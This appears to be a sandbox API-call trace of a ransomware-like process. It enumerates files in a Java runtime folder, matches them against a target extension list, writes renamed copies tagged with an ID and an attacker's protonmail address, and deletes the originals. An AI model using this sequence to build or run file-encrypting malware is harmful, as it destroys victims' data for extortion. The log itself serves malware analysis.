	[0169.590] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0169.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0169.590] lstrlenW (lpString=".1cd") returned 4
	[0169.590] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0169.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0169.590] lstrlenW (lpString=".jpg") returned 4
	[0169.590] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0169.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0169.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0169.590] lstrlenW (lpString=".doc") returned 4
	[0169.590] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0169.590] lstrlenW (lpString=".docx") returned 5
	[0169.590] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1
	[0169.590] lstrlenW (lpString=".pdf") returned 4
	[0169.590] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0169.590] lstrlenW (lpString=".xls") returned 4
	[0169.590] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0169.590] lstrlenW (lpString=".xlsx") returned 5
	[0169.590] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1
	[0169.590] lstrlenW (lpString=".ppt") returned 4
	[0169.590] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0169.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0169.590] lstrlenW (lpString=".zip") returned 4
	[0169.590] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0169.590] lstrlenW (lpString=".rar") returned 4
	[0169.590] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0169.590] lstrlenW (lpString=".bz2") returned 4
	[0169.590] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0169.590] lstrlenW (lpString=".7z") returned 3
	[0169.591] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0169.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0169.591] lstrlenW (lpString=".dbf") returned 4
	[0169.591] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0169.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0169.591] lstrlenW (lpString=".1cd") returned 4
	[0169.591] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0169.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0169.591] lstrlenW (lpString=".jpg") returned 4
	[0169.591] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0169.591] lstrcmpiW (lpString1=".pf", lpString2=".html") returned 1
	[0169.591] lstrlenW (lpString="PYCC.pf") returned 7
	[0169.591] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0169.746] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=274474) returned 1
	[0169.746] CloseHandle (hObject=0x514) returned 1
	[0169.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20
	[0170.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.304] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0171.985] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.985] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.985] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0172.740] GetLastError () returned 0x0
	[0172.740] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x4302a, lpOverlapped=0x0) returned 1
	[0172.754] WriteFile (in: hFile=0x5b4, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x43030, lpOverlapped=0x0) returned 1
	[0172.760] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.760] WriteFile (in: hFile=0x5b4, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0172.760] SetEndOfFile (hFile=0x5b4) returned 1
	[0172.760] CloseHandle (hObject=0x5b4) returned 1
	[0172.760] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.760] SetEndOfFile (hFile=0x588) returned 1
	[0172.769] CloseHandle (hObject=0x588) returned 1
	[0172.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0173.314] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1
	[0173.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0173.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0173.509] lstrlenW (lpString=".doc") returned 4
	[0173.509] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1
	[0173.509] lstrlenW (lpString=".docx") returned 5
	[0173.509] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1
	[0173.509] lstrlenW (lpString=".pdf") returned 4
	[0173.509] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1
	[0173.509] lstrlenW (lpString=".xls") returned 4
	[0173.509] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1
	[0173.509] lstrlenW (lpString=".xlsx") returned 5
	[0173.509] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1
	[0173.509] lstrlenW (lpString=".ppt") returned 4
	[0173.509] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1
	[0173.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0173.509] lstrlenW (lpString=".zip") returned 4
	[0173.509] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1
	[0173.509] lstrlenW (lpString=".rar") returned 4
	[0173.509] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1
	[0173.509] lstrlenW (lpString=".bz2") returned 4
	[0173.509] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1
	[0173.509] lstrlenW (lpString=".7z") returned 3
	[0173.509] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0173.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0173.510] lstrlenW (lpString=".dbf") returned 4
	[0173.510] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1
	[0173.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0173.510] lstrlenW (lpString=".1cd") returned 4
	[0173.510] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1
	[0173.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0173.510] lstrlenW (lpString=".jpg") returned 4
	[0173.510] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1
	[0173.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0173.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0173.510] lstrlenW (lpString=".doc") returned 4
	[0173.510] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1
	[0173.510] lstrlenW (lpString=".docx") returned 5
	[0173.510] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1
	[0173.510] lstrlenW (lpString=".pdf") returned 4
	[0173.510] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1
	[0173.510] lstrlenW (lpString=".xls") returned 4
	[0173.510] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1
	[0173.510] lstrlenW (lpString=".xlsx") returned 5
	[0173.510] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1
	[0173.510] lstrlenW (lpString=".ppt") returned 4
	[0173.510] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1
	[0173.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0173.510] lstrlenW (lpString=".zip") returned 4
	[0173.511] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1
	[0173.511] lstrlenW (lpString=".rar") returned 4
	[0173.511] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1
	[0173.511] lstrlenW (lpString=".bz2") returned 4
	[0173.511] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1
	[0173.511] lstrlenW (lpString=".7z") returned 3
	[0173.511] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0173.511] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0173.511] lstrlenW (lpString=".dbf") returned 4
	[0173.511] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1
	[0173.511] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0173.511] lstrlenW (lpString=".1cd") returned 4
	[0173.511] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1
	[0173.511] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0173.511] lstrlenW (lpString=".jpg") returned 4
	[0173.511] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1
	[0173.511] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0173.511] lstrlenW (lpString="messages_zh_HK.properties") returned 25
	[0173.511] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.515] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3752) returned 1
	[0173.515] CloseHandle (hObject=0x588) returned 1
	[0173.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20
	[0173.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.516] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.516] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.516] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.516] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0173.517] GetLastError () returned 0x0
	[0173.517] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0xea8, lpOverlapped=0x0) returned 1
	[0173.520] WriteFile (in: hFile=0x580, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0173.521] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.521] WriteFile (in: hFile=0x580, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x106, lpOverlapped=0x0) returned 1
	[0173.522] SetEndOfFile (hFile=0x580) returned 1
	[0173.522] CloseHandle (hObject=0x580) returned 1
	[0173.522] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.522] SetEndOfFile (hFile=0x588) returned 1
	[0173.526] CloseHandle (hObject=0x588) returned 1
	[0173.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0173.527] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1
	[0173.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0173.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0173.529] lstrlenW (lpString=".doc") returned 4
	[0173.529] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0173.529] lstrlenW (lpString=".docx") returned 5
	[0173.529] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0173.529] lstrlenW (lpString=".pdf") returned 4
	[0173.530] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0173.530] lstrlenW (lpString=".xls") returned 4
	[0173.530] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0173.530] lstrlenW (lpString=".xlsx") returned 5
	[0173.530] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0173.530] lstrlenW (lpString=".ppt") returned 4
	[0173.530] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0173.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0173.530] lstrlenW (lpString=".zip") returned 4
	[0173.530] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0173.530] lstrlenW (lpString=".rar") returned 4
	[0173.530] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0173.530] lstrlenW (lpString=".bz2") returned 4
	[0173.530] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0173.530] lstrlenW (lpString=".7z") returned 3
	[0173.530] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0173.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0173.530] lstrlenW (lpString=".dbf") returned 4
	[0173.530] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0173.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0173.530] lstrlenW (lpString=".1cd") returned 4
	[0173.530] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0173.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0173.530] lstrlenW (lpString=".jpg") returned 4
	[0173.530] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0173.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0173.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0173.531] lstrlenW (lpString=".doc") returned 4
	[0173.531] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0173.531] lstrlenW (lpString=".docx") returned 5
	[0173.531] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0173.531] lstrlenW (lpString=".pdf") returned 4
	[0173.531] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0173.531] lstrlenW (lpString=".xls") returned 4
	[0173.531] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0173.531] lstrlenW (lpString=".xlsx") returned 5
	[0173.531] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0173.531] lstrlenW (lpString=".ppt") returned 4
	[0173.531] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0173.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0173.531] lstrlenW (lpString=".zip") returned 4
	[0173.531] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0173.531] lstrlenW (lpString=".rar") returned 4
	[0173.531] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0173.531] lstrlenW (lpString=".bz2") returned 4
	[0173.531] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0173.531] lstrlenW (lpString=".7z") returned 3
	[0173.531] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0173.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0173.532] lstrlenW (lpString=".dbf") returned 4
	[0173.532] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0173.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0173.532] lstrlenW (lpString=".1cd") returned 4
	[0173.532] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0173.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0173.532] lstrlenW (lpString=".jpg") returned 4
	[0173.532] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0173.532] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0173.532] lstrlenW (lpString="messages_zh_TW.properties") returned 25
	[0173.532] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.533] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3752) returned 1
	[0173.533] CloseHandle (hObject=0x588) returned 1
	[0173.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20
	[0173.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.533] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.534] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.534] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.534] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0173.534] GetLastError () returned 0x0
	[0173.534] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0xea8, lpOverlapped=0x0) returned 1
	[0173.542] WriteFile (in: hFile=0x580, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0173.543] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.543] WriteFile (in: hFile=0x580, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x106, lpOverlapped=0x0) returned 1
	[0173.543] SetEndOfFile (hFile=0x580) returned 1
	[0173.543] CloseHandle (hObject=0x580) returned 1
	[0173.543] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.543] SetEndOfFile (hFile=0x588) returned 1
	[0173.546] CloseHandle (hObject=0x588) returned 1
	[0173.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0173.547] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1
	[0173.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0173.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0173.547] lstrlenW (lpString=".doc") returned 4
	[0173.547] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0173.547] lstrlenW (lpString=".docx") returned 5
	[0173.547] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0173.547] lstrlenW (lpString=".pdf") returned 4
	[0173.547] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0173.547] lstrlenW (lpString=".xls") returned 4
	[0173.547] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0173.547] lstrlenW (lpString=".xlsx") returned 5
	[0173.547] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0173.547] lstrlenW (lpString=".ppt") returned 4
	[0173.547] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0173.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0173.548] lstrlenW (lpString=".zip") returned 4
	[0173.548] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0173.548] lstrlenW (lpString=".rar") returned 4
	[0173.548] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0173.548] lstrlenW (lpString=".bz2") returned 4
	[0173.548] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0173.548] lstrlenW (lpString=".7z") returned 3
	[0173.548] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0173.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0173.548] lstrlenW (lpString=".dbf") returned 4
	[0173.548] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0173.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0173.548] lstrlenW (lpString=".1cd") returned 4
	[0173.548] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0173.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0173.548] lstrlenW (lpString=".jpg") returned 4
	[0173.548] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0173.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
